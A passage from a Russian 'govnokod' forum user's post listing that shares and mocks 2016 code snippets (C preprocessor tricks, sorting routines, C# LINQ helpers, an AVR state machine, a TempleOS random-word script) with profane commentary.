          // И что еще за unsigned int? Даешь uintptr_t.
          // И если указатели будут 64-битные, то плавучий питух может обосраться на больном размере массивов
      
          // разделяй и сортируй
          int *l_buff = merge_sort(up, down, left, middle);
          int *r_buff = merge_sort(up, down, middle + 1, right);
      
          // слияние двух отсортированных половин
          int *target = l_buff == up ? down : up;
      
          unsigned int width = right - left, l_cur = left, r_cur = middle + 1;
          for (unsigned int i = left; i <= right; i++)
          {
              if (l_cur <= middle && r_cur <= right)
              {
                  if (l_buff[l_cur] < r_buff[r_cur])
                  {
                      target[i] = l_buff[l_cur];
                      l_cur++;
                  }
                  else
                  {
                      target[i] = r_buff[r_cur];
                      r_cur++;
                  }
              }
              else if (l_cur <= middle)
              {
                  target[i] = l_buff[l_cur];
                  l_cur++;
              }
              else
              {
                  target[i] = r_buff[r_cur];
                  r_cur++;
              }
          }
          return target;
      }

      https://ru.wikipedia.org/wiki/Сортировка_слиянием

      j123123, 05 Ноября 2016

      Комментарии (17)
     
    1. Куча / Говнокод #21624

      −12

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      19. 19
      20. 20
      21. 21
      22. 22
      23. 23
      24. 24
      25. 25
      26. 26
      27. 27
      28. 28
      29. 29
      30. 30
      31. 31
      32. 32
      33. 33
      34. 34
      35. 35
      36. 36
      Python: What if everything was a dict?
      Java: What if everything was an object?
      JavaScript: What if everything was a dict *and* an object?
      C: What if everything was a pointer?
      APL: What if everything was an array?
      Tcl: What if everything was a string?
      Prolog: What if everything was a term?
      LISP: What if everything was a pair?
      Scheme: What if everything was a function?
      Haskell: What if everything was a monad?
      Assembly: What if everything was a register?
      Coq: What if everything was a type/proposition?
      COBOL: WHAT IF EVERYTHING WAS UPPERCASE?
      C#: What if everything was like Java, but different?
      Ruby: What if everything was monkey patched?
      Pascal: BEGIN What if everything was structured? END
      C++: What if we added everything to the language?
      C++11: What if we forgot to stop adding stuff?
      Rust: What if garbage collection didn't exist?
      Go: What if we tried designing C a second time?
      Perl: What if shell, sed, and awk were one language?
      Perl6: What if we took the joke too far?
      PHP: What if we wanted to make SQL injection easier?
      VB: What if we wanted to allow anyone to program?
      VB.NET: What if we wanted to stop them again?
      Forth: What if everything was a stack?
      ColorForth: What if the stack was green?
      PostScript: What if everything was printed at 600dpi?
      XSLT: What if everything was an XML element?
      Make: What if everything was a dependency?
      m4: What if everything was incomprehensibly quoted?
      Scala: What if Haskell ran on the JVM?
      Clojure: What if LISP ran on the JVM?
      Lua: What if game developers got tired of C++?
      Mathematica: What if Stephen Wolfram invented everything?
      Malbolge: What if there is no god?

      j123123, 01 Ноября 2016

      Комментарии (36)
    2. Си / Говнокод #21585

      −46

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      19. 19
      20. 20
      21. 21
      22. 22
      23. 23
      24. 24
      25. 25
      26. 26
      27. 27
      28. 28
      29. 29
      30. 30
      31. 31
      32. 32
      33. 33
      34. 34
      35. 35
      36. 36
      37. 37
      38. 38
      39. 39
      40. 40
      41. 41
      42. 42
      43. 43
      44. 44
      45. 45
      46. 46
      47. 47
      48. 48
      49. 49
      50. 50
      51. 51
      52. 52
      53. 53
      54. 54
      55. 55
      56. 56
      57. 57
      58. 58
      59. 59
      60. 60
      61. 61
      62. 62
      63. 63
      64. 64
      65. 65
      66. 66
      67. 67
      68. 68
      69. 69
      70. 70
      71. 71
      72. 72
      73. 73
      74. 74
      75. 75
      76. 76
      77. 77
      #include <stdio.h>
      
      #define SPLICE(a,b) SPLICE_1(a,b)
      #define SPLICE_1(a,b) SPLICE_2(a,b)
      #define SPLICE_2(a,b) a##b
       
       
      #define PP_ARG_N( \
                _1,  _2,  _3,  _4,  _5,  _6,  _7,  _8,  _9, _10, \
               _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, \
               _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, \
               _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, \
               _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, \
               _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, \
               _61, _62, _63, N, ...) N
       
      /* Note 63 is removed */
      #define PP_RSEQ_N()                                        \
               62, 61, 60,                                       \
               59, 58, 57, 56, 55, 54, 53, 52, 51, 50,           \
               49, 48, 47, 46, 45, 44, 43, 42, 41, 40,           \
               39, 38, 37, 36, 35, 34, 33, 32, 31, 30,           \
               29, 28, 27, 26, 25, 24, 23, 22, 21, 20,           \
               19, 18, 17, 16, 15, 14, 13, 12, 11, 10,           \
                9,  8,  7,  6,  5,  4,  3,  2,  1,  0
       
      #define PP_NARG_(...)    PP_ARG_N(__VA_ARGS__)    
       
      /* Note dummy first argument _ and ##__VA_ARGS__ instead of __VA_ARGS__ */
      #define PP_NARG(...)     PP_NARG_(_, ##__VA_ARGS__, PP_RSEQ_N())
      
      
      #define MAX_1(VAR, ...) \
        VAR
       
      #define MAX_2(VAR, ...) \
        (((VAR)>MAX_1(__VA_ARGS__))?(VAR):MAX_1(__VA_ARGS__))
       
      #define MAX_3(VAR, ...) \
        (((VAR)>MAX_2(__VA_ARGS__))?(VAR):MAX_2(__VA_ARGS__))
       
      #define MAX_4(VAR, ...) \
        (((VAR)>MAX_3(__VA_ARGS__))?(VAR):MAX_3(__VA_ARGS__))
       
      #define MAX_5(VAR, ...) \
        (((VAR)>MAX_4(__VA_ARGS__))?(VAR):MAX_4(__VA_ARGS__))
       
      #define MAX_6(VAR, ...) \
        (((VAR)>MAX_5(__VA_ARGS__))?(VAR):MAX_5(__VA_ARGS__))
       
      #define MAX_7(VAR, ...) \
        (((VAR)>MAX_6(__VA_ARGS__))?(VAR):MAX_6(__VA_ARGS__))
       
      #define MAX_8(VAR, ...) \
        (((VAR)>MAX_7(__VA_ARGS__))?(VAR):MAX_7(__VA_ARGS__))
       
      #define MAX_9(VAR, ...) \
        (((VAR)>MAX_8(__VA_ARGS__))?(VAR):MAX_8(__VA_ARGS__))
       
      #define MAX_10(VAR, ...) \
        (((VAR)>MAX_9(__VA_ARGS__))?(VAR):MAX_9(__VA_ARGS__))
       
      #define MAX_11(VAR, ...) \
        (((VAR)>MAX_10(__VA_ARGS__))?(VAR):MAX_10(__VA_ARGS__))
      //..... дальше лень ...
       
      #define MAXS_(N, ...) \
        SPLICE(MAX_, N)(__VA_ARGS__)
       
      #define MAXS(...) \
        MAXS_(PP_NARG(__VA_ARGS__), __VA_ARGS__)
      
       
      int main(void)
      {
       printf("%d", MAXS(24, 324, 377, 347, 100500, 2442, 224, 7428));
      }

      Макрос MAXS() который принимает произвольное число аргументов и через тернарники заворачивает их, было сделано на основе http://govnokod.ru/14511 говна.

      j123123, 27 Октября 2016

      Комментарии (46)
    3. C++ / Говнокод #21566

      −17

      1. 1
      2. 2
      3. 3
      4. 4
      5. 5
      #if !defined(COMPILER_MSVC)
      #define ARRAYSIZE(a)              \
          ((sizeof(a) / sizeof(*(a))) / \
          static_cast<size_t>(!(sizeof(a) % sizeof(*(a)))))
      #endif

      https://github.com/tensorflow/tensorflow/blob/754048a0453a04a761e112ae5d99c149eb9910dd/tensorflow/stream_executor/platform/port.h#L42-L46


      Суть этого говновыражения !(sizeof(a) % sizeof(*(a))) судя по всему в том, чтоб оно становилось нулем, если по каким-то причинам размер массива оказывается не кратен размеру элемента этого массива. И тогда эта макропоебень развернется в деление на ноль. Но как такое вообще может быть?

      j123123, 25 Октября 2016

      Комментарии (22)
    4. C# / Говнокод #21550

      −74

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      19. 19
      20. 20
      21. 21
      22. 22
      23. 23
      24. 24
      25. 25
      26. 26
      27. 27
      28. 28
      29. 29
      30. 30
      31. 31
      32. 32
      33. 33
      34. 34
      35. 35
      36. 36
      public static TSource Single<TSource>(this TSource[] array)
              {
                  if (array.Length > 1) throw new InvalidOperationException("Sequence contains more than one element");
                  return array[0];
              }
              public static TSource Single<TSource>(this List<TSource> array)
              {
                  if (array.Count > 1) throw new InvalidOperationException("Sequence contains more than one element");
                  return array[0];
              }
              public static TSource First<TSource>(this TSource[] array)
              {
                  return array[0];
              }
              public static TSource First<TSource>(this List<TSource> array)
              {
                  return array[0];
              }
              public static TSource First<TSource>(this TSource[] array, Func<TSource, bool> condition)
              {
                  for (int i = 0; i < array.Length; i++)
                  {
                      if (condition(array[i])) return array[i];
                  }
                  throw new InvalidOperationException("No items match the specified search criteria.");
              }
      
              public static TSource First<TSource>(this List<TSource> array, Func<TSource, bool> condition)
              {
                  var len = array.Count;
                  for (int i = 0; i < len; i++)
                  {
                      if (condition(array[i])) return array[i];
                  }
                  throw new InvalidOperationException("No items match the specified search criteria.");
      }

      https://github.com/antiufo/roslyn-linq-rewrite/blob/master/RoslynLinqRewrite/Shaman.FastLinq.Sources/FastLinqExtensions.cs#L12


      Зачем тут повторяющиеся функции, отличающиеся только "TSource[]" "List<TSource>" ? В говношарп не завезли аналог плюсовых шаблонов?

      j123123, 24 Октября 2016

      Комментарии (31)
    5. bash / Говнокод #21548

      −72

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      You gotta get God to talk! Praise God for something like water springs and press over and over at the command or in a document!
      
      Then, it won't seem so crazy!
      
      Here's a bash shell script to get God to talk.
      
      ----
      
      #!/bin/bash
      
      #This prints ten random words.
      
      echo "$(shuf -n 10 /usr/share/dict/words --random-source=/dev/urandom | tr '\n' ' ')"

      На говнохабре хуиктаймсе https://geektimes.ru/post/281754/ написали про легендарног шизика, создателя легендарной Temple OS, со своим особым встроенным языком HolyC ("священный си"):

      >В системе есть интерфейс командной строки, который реализован оригинально. Дэвис никак не мог запомнить команды bash, а вот синтаксис С/С++ он знал хорошо. Поэтому скрипты пишутся на C, вернее, его модификации. Для своей операционки Дэвис изменил стандартный C и назвал полученное HolyC («святой си»).

      >За исключением низких уровней, где есть язык 64-битного ассемблера, вся система написана на этом HolyC. Он отличается от обычного. Нет main(), всё, что написано, выполняется. Весь код TempleOS JIT-компилируется по запросу. Если набрать #include из командной строки, то указанная программа будет запущена в пространстве имён оболочки.

      >Система напоминает, что это — цифровой оракул. Раньше Дэвис подкидывал монетку и выбирал случайное число, чтобы открыть Библию, прочитать фрагмент и истолковать его. В TempleOS в любом месте нажатие F7 принесёт случайное слово. Если нажать F7 несколько раз, получится вореция фрагмент текста, в котором можно искать смысл. Shift + F7 выдаст фрагмент Библии.

      В вышеозначенном говнокоде приведен код от самого создателя Temple OS, который генерирует вореции позволяет общаться с Богом. Код взят из Его комментария к статье, посвященной портированию какой-то фигни на его Божественную Храм ОС http://blog.jwhitham.org/2015/07/porting-third-party-programs-to-templeos.html

      См такжеhttp://govnokod.ru/20277 http://govnokod.ru/19117

      j123123, 24 Октября 2016

      Комментарии (9)
    6. Си / Говнокод #21491

      −16

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      19. 19
      20. 20
      /*! Brainfuck Update based on Symbol */
      #define BF_UPDATE_SYM($, S, X) JOIN(BF_UPDATE_SYM_, S)($, X)
      #define BF_UPDATE_SYM_R($, X) (INC(BF_IP(X)), INC(BF_DP(X)), BF_IA(X), BF_DA(X))      /*!< Increment Data Pointer             */
      #define BF_UPDATE_SYM_L($, X) (INC(BF_IP(X)), DEC(BF_DP(X)), BF_IA(X), BF_DA(X))      /*!< Decrement Data Pointer             */
      #define BF_UPDATE_SYM_U($, X) (INC(BF_IP(X)), BF_DP(X), BF_IA(X), BF_DATA_INC($, X))  /*!< Increment Item at Data Pointer     */
      #define BF_UPDATE_SYM_D($, X) (INC(BF_IP(X)), BF_DP(X), BF_IA(X), BF_DATA_DEC($, X))  /*!< Decrement Item at Data Pointer     */
      #define BF_UPDATE_SYM_O($, X) (INC(BF_IP(X)), BF_DP(X), BF_IA(X), BF_DA(X))           /*!< Do Nothing (Output as side effect) */
      #define BF_UPDATE_SYM_F($, X) (BF_JUMP_F($, X), BF_DP(X), BF_IA(X), BF_DA(X))         /*!< Conditional Jump Forwards          */
      #define BF_UPDATE_SYM_B($, X) (BF_JUMP_B($, X), BF_DP(X), BF_IA(X), BF_DA(X))         /*!< Conditional Jump Backwards           */
      #define BF_UPDATE_SYM_($, X)  (INC(BF_IP(X)), BF_DP(X), BF_IA(X), BF_DA(X))           /*!< Do Nothing on empty instruction    */
      
      /*! Main Brainfuck loop */
      #define BF_COND($, X) NOT(BF_IS_BLANK(BF_INSTR($, X)))                        /*!< Terminate on end of input          */
      #define BF_MACRO($, X) IF(BF_IS_OUTPUT(BF_INSTR($, X)), CHAR(BF_DATA($, X)))  /*!< Output on O instruction            */
      #define BF_UPDATE($, X) BF_UPDATE_SYM($, BF_INSTR($, X), X)                   /*!< Update based on instruction symbol */
      #define BF_FINALLY($, X)                                                      /*!< Do nothing on termination          */
      #define BF_RECR($, X) JOIN(RECR_D, $)(INC($), BF_COND, BF_MACRO, BF_UPDATE, BF_FINALLY, X)
      
      /*! Empty Data Array - Extend for more Cells */
      #define BF_DATA_EMPTY() (0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)

      https://github.com/orangeduck/CPP_COMPLETE/ A Brainfuck interpreter written in the C preprocessor.

      j123123, 19 Октября 2016

      Комментарии (14)
    7. C++ / Говнокод #21425

      −18

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      uint64_t ObjectLoadListener::getRelocationAddend(uint64_t LLVMRelocationType,
                                                       uint8_t *FixupAddress) {
        uint64_t Addend = 0;
        switch (LLVMRelocationType) {
        case IMAGE_REL_AMD64_ABSOLUTE:
          Addend = *(uint32_t *)FixupAddress;
          break;
        case IMAGE_REL_AMD64_ADDR64:
          Addend = *(uint64_t *)FixupAddress;
          break;
        case IMAGE_REL_AMD64_REL32:
          Addend = *(uint32_t *)FixupAddress;
          break;
        default:
          llvm_unreachable("Unknown reloc type.");
        }
        return Addend;
      }

      https://github.com/dotnet/llilc/blob/97cf48ea9a3cdf4a2582a95683a74b572f4cfe45/lib/Jit/LLILCJit.cpp#L770-L787

      Надеюсь, мне не нужно объяснять, в чем тут говно?

      j123123, 12 Октября 2016

      Комментарии (142)
    8. Python / Говнокод #21168

      −50

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      19. 19
      20. 20
      21. 21
      22. 22
      23. 23
      24. 24
      25. 25
      26. 26
      27. 27
      # my_first_calculator.py by AceLewis
      # TODO: Make it work for all floating point numbers too
      
      if 3/2 == 1:  # Because Python 2 does not know maths
          input = raw_input  # Python 2 compatibility
      
      print('Welcome to this calculator!')
      print('It can add, subtract, multiply and divide whole numbers from 0 to 50')
      num1 = int(input('Please choose your first number: '))
      sign = input('What do you want to do? +, -, /, or *: ')
      num2 = int(input('Please choose your second number: '))
      
      if num1 == 0 and sign == '+' and num2 == 0:
          print("0+0 = 0")
      if num1 == 0 and sign == '+' and num2 == 1:
          print("0+1 = 1")
      if num1 == 0 and sign == '+' and num2 == 2:
          print("0+2 = 2")
      if num1 == 0 and sign == '+' and num2 == 3:
          print("0+3 = 3")
      if num1 == 0 and sign == '+' and num2 == 4:
          print("0+4 = 4")
      if num1 == 0 and sign == '+' and num2 == 5:
          print("0+5 = 5")
      if num1 == 0 and sign == '+' and num2 == 6:
          print("0+6 = 6")
      ...

      https://github.com/AceLewis/my_first_calculator.py/blob/master/my_first_calculator.py оптимизация!

      j123123, 11 Сентября 2016

      Комментарии (6)
    9. Си / Говнокод #20958

      +1004

      1. 01
      2. 02
      3. 03
      4. 04
      5. 05
      6. 06
      7. 07
      8. 08
      9. 09
      10. 10
      11. 11
      12. 12
      13. 13
      14. 14
      15. 15
      16. 16
      17. 17
      18. 18
      19. 19
      20. 20
      21. 21
      22. 22
      23. 23
      24. 24
      25. 25
      26. 26
      27. 27
      28. 28
      29. 29
      30. 30
      31. 31
      32. 32
      33. 33
      34. 34
      35. 35
      36. 36
      37. 37
      38. 38
      39. 39
      40. 40
      41. 41
      42. 42
      43. 43
      // shit.h :
      
      #if END_SHIT == 0
      bagor++;
        #if BIT0 == 0
          #undef  BIT0
          #define BIT0 1
        #else
          #undef  BIT0
          #define BIT0 0
          #if BIT1 == 0
            #undef  BIT1
            #define BIT1 1
          #else
            #undef  BIT1
            #define BIT1 0
            #if BIT2 == 0
              #undef  BIT2
              #define BIT2 1
            #else
              #undef  BIT0
              #undef  BIT1
              #undef  BIT2
              #define END_SHIT 1
            #endif
          #endif
        #endif
        #include "shit.h"
      #endif
      
      //shit.c
      
      #include <stdio.h>
      
      int main(void) {
        int bagor = 0;
        #define BIT0 0
        #define BIT1 0
        #define BIT2 0
        #include "shit.h"
        printf("bagor = %i\n", bagor);
        return 0;
      }

      http://govnokod.ru/20947#comment348047
      CHayT 3 часа назад # 0
      > нет ни циклов, ни рекурсий

      Можно, думаю, файлы сами в себя инклудить, чем не рекурсия. Не очень понятно, что с этим делать, правда.

      -----

      Но ведь совершенно очевидно, что с этим можно делать. Очередной шедевр макроговна

      j123123, 25 Августа 2016

      Комментарии (46)
    10. C++ / Говнокод #20947

      +2302

      1. 1
      2. 2
      3. 3
      4. 4
      5. 5
      http://govnokod.ru/20924
      
      Запрашиваемая страница не найдена!
      
      Возможно, её и не было никогда

      http://dump.bitcheese.net/files/pimarut/%D0%93%D0%BE%D0%B2%D0%BD%D0%BE%D0%BA%D0%BE%D0%B4_%2320924_%E2%80%94_C___%E2%80%94_%D0%93%D0%BE%D0%B2%D0%BD%D0%BE%D0%BA%D0%BE%D0%B4.%D1%80%D1%83.html
      но бекап я сделал, так что хуй вам. Я требую продолжения банкета.

      j123123, 24 Августа 2016

      Комментарии (60)
       
       
      1. Куча / Говнокод #20482

        +7

        1. 1
        http://dump.bitcheese.net/images/aditoso/sc.png

        Умножение двух трехбитных чисел с применением https://ru.wikipedia.org/wiki/Дешифратор

        Для сравнения - вот умножение через сумматоры https://i.imgur.com/9JCy2D2.png

        j123123, 06 Августа 2016

        Комментарии (22)
      2. Куча / Говнокод #20480

        +7

        1. 1
        https://twitter.com/neuromzan

        Нейросеть научилась писать твиты за Рамзана Кадырова https://nplus1.ru/news/2016/08/05/neurokad
        Вореции

        j123123, 06 Августа 2016

        Комментарии (2)
      3. Assembler / Говнокод #20423

        −715

        1. 01
        2. 02
        3. 03
        4. 04
        5. 05
        6. 06
        7. 07
        8. 08
        9. 09
        10. 10
        11. 11
        12. 12
        13. 13
        14. 14
        15. 15
        16. 16
        17. 17
        18. 18
        19. 19
        20. 20
        21. 21
        22. 22
        23. 23
        24. 24
        25. 25
        26. 26
        27. 27
        return instruction emitted twice with branch target inbetween
        
        function
        
        unsigned int fact( unsigned int n) { return n < 1 ? 1 : n*fact(n-1); }
        
        produces
        
        fact:
        .LFB0:
                .cfi_startproc
                testl   %edi, %edi
                movl    $1, %eax
                je      .L4
                .p2align 4,,10
                .p2align 3
        .L3:
                imull   %edi, %eax
                subl    $1, %edi
                jne     .L3
                rep ret # <-- this instruction can be removed
        .L4:
                rep ret
                .cfi_endproc
        .LFE0:
                .size   fact, .-fact
                .section        .text.unlikely

        https://gcc.gnu.org/bugzilla/show_bug.cgi?id=71923 даже факториал не могут скомпилировать нормально

        j123123, 25 Июля 2016

        Комментарии (56)
      4. Си / Говнокод #20418

        −47

        1. 01
        2. 02
        3. 03
        4. 04
        5. 05
        6. 06
        7. 07
        8. 08
        9. 09
        10. 10
        11. 11
        12. 12
        13. 13
        14. 14
        15. 15
        16. 16
        17. 17
        Имеем приблизительно такой код
        
        #define XXX(n) ar[n]=s._field_##n;
        XXX(01);
        XXX(02);
        XXX(03);
        XXX(04);
        XXX(05);
        XXX(06);
        XXX(07);
        XXX(08);
        
        Естесвенно при при компиляции получаем ошибку, т.к. 08 это неправильная восмеричная константа. Обойти можно так
        
        #define XXX(n) ar[1##n-100]=s._field_##n;
        
        Но как-то это некрасиво. Может есть более красивый подход?

        https://www.linux.org.ru/forum/development/12607523

        j123123, 24 Июля 2016

        Комментарии (45)
      5. Си / Говнокод #20402

        −50

        1. 01
        2. 02
        3. 03
        4. 04
        5. 05
        6. 06
        7. 07
        8. 08
        9. 09
        10. 10
        11. 11
        12. 12
        13. 13
        14. 14
        15. 15
        16. 16
        17. 17
        18. 18
        19. 19
        20. 20
        21. 21
        22. 22
        23. 23
        24. 24
        25. 25
        26. 26
        27. 27
        28. 28
        29. 29
        30. 30
        31. 31
        32. 32
        33. 33
        34. 34
        35. 35
        36. 36
        37. 37
        38. 38
        39. 39
        40. 40
        41. 41
        42. 42
        43. 43
        44. 44
        45. 45
        46. 46
        47. 47
        48. 48
        49. 49
        50. 50
        51. 51
        52. 52
        53. 53
        54. 54
        55. 55
        56. 56
        57. 57
        58. 58
        59. 59
        60. 60
        61. 61
        62. 62
        63. 63
        Timer_Overflow_Interrupt(void)
        {
        switch(TMR_State)			// Обработчик прерывания по переполнению
        	{
        	case 0:	
        		{ 
        		Clr_Pin();		// Вывод в 0
        		TCNT = 255-100; 	// Задержка в 100 (до переполнения)
        		TMR_State = 1; 		// Следующая стадия 1
        		Break;			// Выход
        		}
         
        	case 1:	
        		{ 
        		Set_Pin();
        		TCNT = 255-1; 
        		TMR_State = 2; 
        		Break;
        		}
         
        	case 2:	
        		{ 
        		Clr_Pin();
        		TCNT = 255-5; 
        		TMR_State = 3; 
        		Break;
        		}
         
        	case 3:	
        		{ 
        		Set_Pin();
        		TCNT = 255-2; 
        		TMR_State = 4; 
        		Break;
        		}
         
        	case 4:	
        		{ 
        		Clr_Pin();
        		TCNT = 255-3; 
        		TMR_State = 5; 
        		Break;
        		}
         
        	case 5:	
        		{ 
        		Set_Pin();
        		TCNT = 255-4; 
        		TMR_State = 6; 
        		Break;
        		}
         
        	case 6:
        		{ 
        		Clr_Pin();
        		Timer_OFF(); 		// Выключаем таймер. Работа окончена
        		TMR_State = 0; 		// Обнуляем состояние
        		Break;			
        		}
         
        	default: 	break;		
        	}
        }

        http://easyelectronics.ru/avr-uchebnyj-kurs-konechnyj-avtomat.html

        А не лучше ли сделать массив указателей на функции, каждая из которых будет соответствовать case-у, и пусть там оно вызывает из массива фукнцию под номером TMR_State? Притом вот эту хню TMR_State = 1; TMR_State = 2; TMR_State = 3; которая дублируется во всех этих case-ах, ее ж можно хуйнуть всего один раз, типа TMR_State = (TMR_state+1)%7. Хотя для AVR контроллеров это скорее всего будет дорогая операция, так что можно хуйнуть TMR_State = TMR_state == 7 ? 0 : TMR_state+1;

        j123123, 20 Июля 2016

        Комментарии (52)
      6. Си / Говнокод #20350

        −47

        1. 1
        while((*dst++ = *src++));

        двойные скобки, чтоб заткнуть ворнинг

        warning: suggest parentheses around assignment used as truth value [-Wparentheses]

        j123123, 08 Июля 2016

        Комментарии (23)
      7. Си / Говнокод #20309

        −46

        1. 01
        2. 02
        3. 03
        4. 04
        5. 05
        6. 06
        7. 07
        8. 08
        9. 09
        10. 10
        11. 11
        12. 12
        13. 13
        14. 14
        15. 15
        16. 16
        17. 17
        18. 18
        19. 19
        20. 20
        21. 21
        22. 22
        23. 23
        24. 24
        25. 25
        26. 26
        27. 27
        28. 28
        29. 29
        30. 30
        31. 31
        32. 32
        33. 33
        34. 34
        35. 35
        36. 36
        37. 37
        38. 38
        39. 39
        40. 40
        41. 41
        42. 42
        43. 43
        44. 44
        45. 45
        46. 46
        47. 47
        48. 48
        49. 49
        50. 50
        51. 51
        52. 52
        53. 53
        54. 54
        55. 55
        56. 56
        57. 57
        58. 58
        59. 59
        60. 60
        61. 61
        62. 62
        63. 63
        64. 64
        65. 65
        66. 66
        67. 67
        68. 68
        69. 69
        70. 70
        71. 71
        72. 72
        73. 73
        74. 74
        75. 75
        76. 76
        77. 77
        78. 78
        79. 79
        80. 80
        81. 81
        82. 82
        83. 83
        #include <stdio.h>
        #include <inttypes.h>
        
        #define REORDER3(b1,b2,b3,a1,a2,a3) do {uint32_t b1_tmp = a1; uint32_t b2_tmp = a2; b3 = a3; b1 = b1_tmp; b2 = b2_tmp;} while (0)
         
        void uintprint3(uint32_t *a)
        {
          printf("%u %u %u\n", a[0], a[1], a[2]);
        }
        
        void sort3(uint32_t a[3] )
        {
          if (a[0] > a[1])
          {
            if (a[1] > a[2])
            {
              REORDER3 (
                a[0], a[1], a[2],
                a[2], a[1], a[0]);
              return;
            }
            else
            {
              if (a[0] > a[2])
              {
                REORDER3 (
                  a[0], a[1], a[2],
                  a[1], a[2], a[0]);
                return;
              }
              else
              {
                REORDER3 (
                  a[0], a[1], a[2],
                  a[1], a[0], a[2]);
                return;
              }
            }
          }
          else
          {
            if (a[1] <= a[2])
            {
              return; //NO REORDER
            }
            else
            {
              if (a[0] <= a[2])
              {
                REORDER3 (
                  a[0], a[1], a[2],
                  a[0], a[2], a[1] );
                return;
              }
              else
              {
                REORDER3 (
                  a[0], a[1], a[2],
                  a[2], a[0], a[1] );
                return;
              }
            }
          }
        }
         
        int main(void)
        {
          uint32_t a[] = {0, 1, 2};
          uint32_t b[] = {0, 2, 1};
          uint32_t c[] = {1, 2, 0};
          uint32_t d[] = {1, 0, 2};
          uint32_t e[] = {2, 0, 1};
          uint32_t f[] = {2, 1, 0};
          sort3(a); sort3(b); sort3(c); sort3(d); sort3(e); sort3(f);
         
          uintprint3(a);
          uintprint3(b);
          uintprint3(c);
          uintprint3(d);
          uintprint3(e);
          uintprint3(f);
          return 0;
        }

        Вот как сортировать надо. А то всякие жабаскриптики http://govnokod.ru/20308 непонятные.

        Это говно кстати можно автосгенерировать для произвольной длины, но мне что-то западло этим заниматься

        j123123, 01 Июля 2016

        Комментарии (10)
      8. Си / Говнокод #20289

        −47

        1. 1
        http://ache.vniz.net/demos.html

        > Cвоеобразный программисткий подвиг совершил Дима Бурков. В то время начали появляться первые PC. Unix на них выглядел неубедительно. Linux еще не появился, зато повился Venix. Хачить его было невозможно - не было исходных текстов ядра. Дима Бурков реассемблировал ядро, потом писал программы на Си, которые давали тот же текст ассемблера - так появились тексты ядра на Си ... работа не для слабонервных.

        А вот интересно, можно ли сделать декомпилятор таким способом? Например, если известна точная версия GCC и флаги компиляции, которые использовались (ну и естественно исходники компилятора должны быть в наличии) то перебирать с эвристиками некий Си-код, пользуясь дизасм-листингом для подсказки и сравнения. Какой подход использует Hex-Rays например? Вряд ли они исходники GCC ковыряли

        j123123, 28 Июня 2016

        Комментарии (12)
      9. Си / Говнокод #20245

        −47

        1. 01
        2. 02
        3. 03
        4. 04
        5. 05
        6. 06
        7. 07
        8. 08
        9. 09
        10. 10
        11. 11
        12. 12
        13. 13
        14. 14
        15. 15
        16. 16
        17. 17
        18. 18
        19. 19
        20. 20
        21. 21
        22. 22
        23. 23
        24. 24
        25. 25
        26. 26
        27. 27
        28. 28
        29. 29
        30. 30
        31. 31
        32. 32
        33. 33
        34. 34
        35. 35
        36. 36
        37. 37
        38. 38
        39. 39
        40. 40
        41. 41
        42. 42
        43. 43
        44. 44
        45. 45
        46. 46
        47. 47
        48. 48
        49. 49
        50. 50
        51. 51
        52. 52
        53. 53
        54. 54
        55. 55
        56. 56
        57. 57
        58. 58
        59. 59
        60. 60
        61. 61
        62. 62
        63. 63
        64. 64
        65. 65
        66. 66
        67. 67
        68. 68
        69. 69
        70. 70
        71. 71
        72. 72
        73. 73
        74. 74
        //                   ПРЕОБРАЗОВАНИЕ КОДА И КОНЕЧНЫЕ АВТОМАТЫ
        //                   ---------------------------------------
        //               (проектируем очень хуево дизассемблируемый код)
        
        int T[256] =
        {
          4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
          //                      , -      0 1 2 3 4 5 6 7 8 9
          0,0,0,0,0,0,0,0,0,0,0,0,2,3,0,0, 1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
          0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
